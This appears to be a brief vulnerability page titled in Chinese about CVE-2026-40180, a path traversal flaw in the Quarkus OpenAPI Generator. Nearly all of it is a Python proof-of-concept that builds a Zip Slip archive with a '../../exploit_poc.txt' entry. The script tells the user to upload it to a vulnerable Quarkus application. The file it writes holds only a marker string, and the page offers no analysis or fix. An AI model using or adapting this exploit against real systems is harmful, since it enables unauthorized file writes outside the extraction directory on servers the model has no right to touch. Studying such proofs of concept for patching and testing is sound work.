CVE-2026-40180 Quarkus OpenAPI Generator路径遍历漏洞

import zipfile import os def create_malicious_zip(): """ Proof of Concept for CVE-2026-40180. Generates a malicious ZIP file containing a path traversal entry. """ zip_filename = "malicious_cve_2026_40180.zip" # The payload to write outside the intended directory payload_content = b"MALICIOUS_PAYLOAD: If you see this file outside the extraction folder, the system is vulnerable." try: with zipfile.ZipFile(zip_filename, 'w') as zf: # Construct a filename with path traversal sequences (Zip Slip) # This attempts to write to the parent directory of the extraction point malicious_filename = "../../exploit_poc.txt" # Create ZipInfo to set metadata (optional, but good practice) zinfo = zipfile.ZipInfo(malicious_filename) # Write the payload zf.writestr(zinfo, payload_content) print(f"[+] Successfully created malicious ZIP file: {zip_filename}") print(f"[+] The file contains an entry named: {malicious_filename}") print(f"[+] Upload or trigger the processing of this file on the vulnerable Quarkus application.") except Exception as e: print(f"[-] Error creating ZIP file: {e}") if __name__ == "__main__": create_malicious_zip()